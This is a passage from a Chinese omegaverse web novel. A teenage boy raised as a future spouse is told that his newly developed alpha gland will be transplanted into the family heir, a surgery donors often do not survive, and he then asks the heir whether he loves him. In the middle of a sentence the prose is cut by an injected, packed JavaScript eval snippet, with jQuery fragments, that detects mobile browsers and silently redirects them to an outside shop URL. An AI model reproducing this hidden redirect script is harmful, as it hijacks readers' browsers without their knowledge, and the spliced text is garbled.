“叔叔……我的腺体出问题了吗?”
穆沂脸上温和的笑意不变:“别紧张雪愿,你的腺体很好,正是因为它太好了,所以才能帮到司曜。”
贺雪愿更加困惑了,有种不祥的预感袭了上来,他求助般地看向蒋司曜,却见蒋司曜避开了他的视线。
见状穆沂则道:“雪愿,你是个好孩子,你也知道司曜他……分化成了beta,这在蒋家意味着什么,你多少能明白。”
他当然明白,这些天发生的事他都看在眼里,可这和他腺体的关联是……
“因为检测结果出错闹了个乌龙,但幸好你分化成了alpha,还是个顶a。”
顶a?原来他的等级这么高吗?
那这个乌龙真是太大了,可为什么他分化成alpha,穆沂会说是幸好呢?
贺雪愿还没从震惊中缓过来,就听到穆沂继续道:“雪愿,司曜需要这个alpha的身份才能坐稳这个位置,等你腺体完全稳定下来,就做个移植手术,把你的腺体移植给司曜。”
“这样一来,司曜就能成为真正的顶a,你为司曜付出了这么多,蒋家会永远记得你的好,给你最好的补偿。”
贺雪愿彻底呆住了,感觉寒意瞬时蔓至全身。
移植……腺体?
把他的腺体给少爷?
穆沂说完那番冠冕堂皇的话,又安抚性地拍了拍贺雪愿的肩膀。
他连问他意愿的意思都没有,仿佛只是通知贺雪愿一声,希望他好好保养这个即将属于蒋司曜的腺体。
就在穆沂直起身,准备和一直沉默的蒋司曜一同离开时,贺雪愿又哑声道:“叔叔,那我呢?”
他把腺体给了少爷,他又会怎样?
穆沂脚步一顿,又用一种为他着想的口吻开始解释。
“没了alpha腺体你自然就成了beta,但这和司曜当beta不一样,他有必须承担的责任。”
“相反如果你顶a的身份暴露出去,军部那些机构肯定不会放过你这样珍贵的资源,他们会物尽其用,把你送到那些危险的地方,想必你也不想这样吧。”
“而且你从小是当omega养大的,你能适应alpha的生活吗?当个普通的beta生活,对你来说才是最好的归宿。”
穆沂说完后看着他,不由得更加笃定想法。
这孩子心软,又对蒋司曜死心塌地,纠结一阵后,最终还是会像以前那样顺从地点头答应的。
“好了,你刚分化需要多休息,别想太多,好好养身体才是最重要的。”
穆沂最后嘱咐了句,给了蒋司曜一个眼神,示意他跟上,然后便转身离开病房。
蒋司曜在离开前回头看了贺雪愿一眼,少年孤零零地坐在病床上,病号服衬得他更加单薄,但他最终还是什么也没说,硬生生扭过头离开了。
病房门合上,贺雪愿见人走了,拿手机搜了下腺体移植的相关信息,虽然早有预料,但没想到结果这么不理想。
适配成功的腺体移植案例中,受体手术成功率的确不低,但供体死亡率却极高,即便能侥幸活下来,也会得一堆并发症。
腺体是alpha与omega的核心器官,移除腺体不仅意味着失去信息素和性别特征,更意味着身体的根基被破坏,幸存者的免疫力都极其低下,只能当一辈子药罐子。
beta……普通的beta……
如果真是普通的beta就好了,贺雪愿知道蒋司曜比他更适合当alpha,自然愿意把腺体移植给他。
然而结果却是这样的,当一个普通的beta都已经是奢望,他能不能下手术台都成问题,就算能下手术台,也只能当一辈子易碎品。
穆沂所谓的最好补偿,大概就是把他养在某个不见天日的房间里定期喂药,直到他悄无声息地死去。
而他连拒绝的权利都没有。
他的确是喜欢少爷的,这么多年的感情下来,自然也希望少爷好,能得偿所愿,成功坐稳继承人的位置。
可是……要用自己的一辈子去换吗?
就在贺雪愿纠结时,病房门又开了,是医院里的钟点工,给他带了份午餐进来。
“穆先生叮嘱了厨房,您现在需要好好补身体,这些都是按营养师搭配做的。”钟点工一边布菜一边和气道。
炖得金黄发亮的花胶瑶柱鸡汤,淋着豉油汁的麒麟石斑鱼,还有盘清爽的时蔬小炒,以及碗撒着桂花的杏仁酪。
“这个杏仁酪穆先生特意提了,厨房今天现磨的杏仁,加了点蜂蜜,您尝尝看。”
是了,他小时候有次生病没胃口,厨房试着做了这个,他难得多吃了几口,穆沂后来便记下了,偶尔会让厨房做给他当点心。
见状贺雪愿不由得心软。
不管出于何种目的,蒋家……对他确实有恩。
蒋峥把他从那个肮脏混乱的下城区带出来,如果没有蒋家,他现在会是什么样子?
好的话早就死在某个阴暗的角落了,不好的话……没准还会比死更不堪。
而他自己呢,他的价值又是什么?
蒋老爷子早就说得明明白白,他出身卑贱,连主宅都不配进,唯一被看中的就是将来会分化成顶o的潜质。
虽说现在阴差阳错变成了顶a,但本质上没有区别,他最有价值的依然只有腺体。
如果用这条命能换来少爷得偿所愿,报答蒋家这些年的养育之恩……是不是也算死得有点价值?
……
又在医院待了几天,这天下午蒋司曜难得提前结束课程,拎着个保温桶来到了病房。
“今天感觉怎么样?腺体还难受吗?”
蒋司曜将保温桶放下,里面是家里厨房特意熬的滋补汤。
“好多了,谢谢少爷。”
贺雪愿接过汤碗,小口喝着。
蒋司曜在床边坐下,沉默了会儿,忽然开口:“北城新开了个地下赛车场,我上周去看过,还不错。”
他顿了顿,看向贺雪愿:“你腺体恢复得怎么样了?医生怎么说?”
“医生说基本稳定了。”
贺雪愿如实回答,心里却微微一沉,问腺体恢复……是为了手术做准备吗?
“那就好。”蒋司曜似乎松了口气,“整天躺医院里闷不闷?我带你去那儿转转,透透气。”
贺雪愿有些意外地抬起头,他不明白蒋司曜是何用意,犹豫片刻,还是点了点头。
“好。”
赛车场建在个旧工业区改造的地下空间,引擎的轰鸣声震耳欲聋,充
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185174|197003||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满了属于年轻alpha的荷尔蒙气息。
蒋司曜显然对这里很熟,一下车就被几个打扮新潮的年轻男女围住,嘻嘻哈哈地打着招呼。
他安静地跟在蒋司曜身后,能感觉到不少目光落在他身上,蒋司曜没多做介绍,只是随意摆了摆手,便径直走向车手准备区。
贺雪愿被安排在看台一个视野很好的位置,他看着蒋司曜驾驶着那辆线条流畅的银色跑车驶入赛道,发令旗挥下时如离弦之箭般冲了出去。
比赛可说非常激烈,每次超车都引得看台上一阵惊呼,蒋司曜开的路数很野,完全沉浸在那份速度带来的快感中。
结果也不出所料,蒋司曜以明显的优势冲过终点,看台上当即爆发出热烈的欢呼。
当蒋司曜摘下头盔,露出那张过分英俊的脸时,台下的欢呼声更盛了,他却没太大情绪波动,朝看台冷淡地一瞥,只是在同伴的簇拥下朝看台走来。
自信,张扬,永远胜券在握……这才是属于这个年纪顶级alpha该有的样子。
贺雪愿静静看着,心里泛起丝复杂难言的酸涩。
穆沂的确没说错,少爷这样的才配当顶a,如果一切能按既定的检查结果发展该多好……
在他出神时,蒋司曜也走了过来,额头上还有细密的汗珠,贺雪愿适时递过去一瓶拧开的水。
他接过仰头灌了几口,顺势在贺雪愿旁边的栏杆上靠住,目光望向下方又一轮准备开始的比赛。
“怎么样?喜欢这里吗?”
“感觉挺好的。”
“等过段时间你彻底恢复了,我载你跑一圈,不过盘山公路那边最近封了在检修,估计得下个月才开放,下个月的话……”
下个月的话,那就是手术之后了。
贺雪愿沉默片刻,他转过头看向蒋司曜依旧带着兴奋余韵的侧脸:“少爷,手术之后……我就不能再陪你出来玩了。”
蒋司曜一怔。
“失去腺体后我容易感染,需要一直待在干净恒温的环境里。”
贺雪愿知道蒋司曜心里也是明白的,没说得太直接,等那时别说来赛车场,他连走出庄园的院子都是种奢望。
他张了张嘴,想说什么,喉咙却像是被堵住了,他当然知道手术的后遗症,但此刻被贺雪愿直接说出来又是种不同的感觉。
看台上的欢呼声再次响起,两人之间却陷入沉默。
过了片刻,贺雪愿才再次开口:“少爷,我知道的,你需要这个腺体,所以我愿意给你。”
“啊……”蒋司曜没料到他又突然这么说。
他的确愿意给蒋司曜,这个腺体也是他唯一能给蒋司曜的东西了,只是这毕竟是他唯一拥有的,所以他想再贪婪一些……
“我只想知道一件事,少爷……你是喜欢我的吗?”
蒋司曜彻底僵住了,没想到向来含蓄的童养媳会问他这么直接的问题。
喜欢?
他习惯了贺雪愿的陪伴,也对他有特别的占有欲,但真正的喜欢……那种纯粹的东西,在他从小被灌输的价值观里似乎早已扭曲了。
婚姻是筹码,感情是点缀,甚至是弱点。
他张了张嘴,看着贺雪愿带着最后一丝希冀的眼睛,那句敷衍的当然喜欢怎么也说不出来。